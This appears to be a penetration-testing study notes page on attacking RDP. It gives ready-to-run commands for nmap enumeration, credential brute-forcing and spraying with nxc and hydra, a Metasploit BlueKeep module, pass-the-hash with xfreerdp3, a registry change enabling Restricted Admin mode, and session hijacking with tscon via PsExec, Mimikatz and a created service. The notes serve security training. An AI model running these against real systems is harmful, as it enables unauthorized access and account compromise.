RDP
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
TL;DR
RDP (Remote Desktop Protocol). Microsoft’s remote GUI on TCP 3389 (also UDP 3389). TLS-encrypted, usually behind Network Level Authentication (NLA). Access needs a valid Windows credential or hash.
First checks: NLA and encryption from the scan, then valid credentials or a hash.
Enumeration
Sweep.
nmap -p3389 -sV --script rdp-ntlm-info,rdp-enum-encryption -oA scans/rdp $TARGET # version, NTLM info, security layersrdp-ntlm-info leaks the hostname and domain. rdp-enum-encryption shows the security layers (RDP, TLS,
CredSSP/NLA). Nmap’s RDP cookie mstshash=nmap is easy to fingerprint, so prefer targeted scans on
hardened networks.
Check credentials.
nxc rdp $TARGET -u <user> -p <pass> # check one passwordnxc rdp $TARGET -u users.txt -p passwords.txt # a file each brutes a listnxc rdp $TARGET -u <user> -H <nthash> # check an NT hash insteadnxc rdp $TARGET -u <user> -p <pass> --screenshot # screenshot the desktop after loginnxc rdp $TARGET -u <user> --nla-screenshot # screenshot the login prompt, no creds, when NLA is offCommon misconfigurations
- Weak or reused credentials.
- NLA disabled, or legacy RDP Security instead of TLS.
- A self-signed certificate, so the server identity is unverifiable.
- Restricted Admin mode enabled, which allows pass-the-hash.
Version exploits
- BlueKeep (CVE-2019-0708): wormable pre-auth RCE on Windows 7, Server 2008 and 2008 R2, XP, and 2003. Unstable, and can crash the target.
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce # Metasploit module for BlueKeepAttack playbook
RDP is GUI access once you hold a credential or a hash. On current Kali the client is xfreerdp3
(FreeRDP 3). File transfer over the session is in Session Transfers.
- Log in with credentials.
xfreerdp3 /u:<user> /p:'<pass>' /v:$TARGET /cert:ignore # /cert:ignore accepts the self-signed certxfreerdp3 /u:<user> /p:'<pass>' /d:<domain> /v:$TARGET /cert:ignore # /d sets a domain account
- Pass the hash. Needs Restricted Admin mode on the target. With admin on the target, enable it
with a registry key, then connect with the hash in place of the password.
xfreerdp3 /u:<user> /pth:<nthash> /v:$TARGET /cert:ignore # pass the hashWithout it the login fails with an account-restriction error. The win is GUI access when a tool is GUI-only.REM enable Restricted Admin mode, on the target as adminreg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0 /f
- Spray carefully. RDP locks accounts, so check the lockout threshold first, then spray one
password across a user list. RDP also dislikes parallel connections. See
Spraying and Defaults.
nxc rdp $TARGET -u users.txt -p '<Password>' --continue-on-success # spray, keep going after a hithydra -L users.txt -p '<Password>' rdp://$TARGET -t 4 -W 3 # 4 tasks, wait 3s, keeps the RDP module stable
- Hijack another session.
tsconreconnects another user’s session to yours with no password. It needs SYSTEM. List the sessions first:Then get SYSTEM and runREM usernames, session IDs, and session namesquery usertscon <ID> /dest:<your session>. With Sysinternals PsExec:With Mimikatz, which launches the command under a SYSTEM token:REM -s runs as SYSTEM, -i interactivePsExec64.exe -s -i cmd.exeREM hijack in the SYSTEM shelltscon 2 /dest:rdp-tcp#13Or bakeprivilege::debugtoken::elevatetoken::run /process:"cmd.exe /k tscon 2 /dest:rdp-tcp#13"tsconinto a service, which runs as SYSTEM by default:Patched on Server 2019 and later.REM the space after binpath= is requiredsc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"net start sessionhijack - Version exploit. On a legacy target, BlueKeep for pre-auth RCE (see Version exploits).
Practice boxes
RDP rarely stands alone, so there is no clean footprinting box.
RDP is GUI access with found credentials or a hash. BlueKeep is the rare pre-auth exploit on legacy Windows.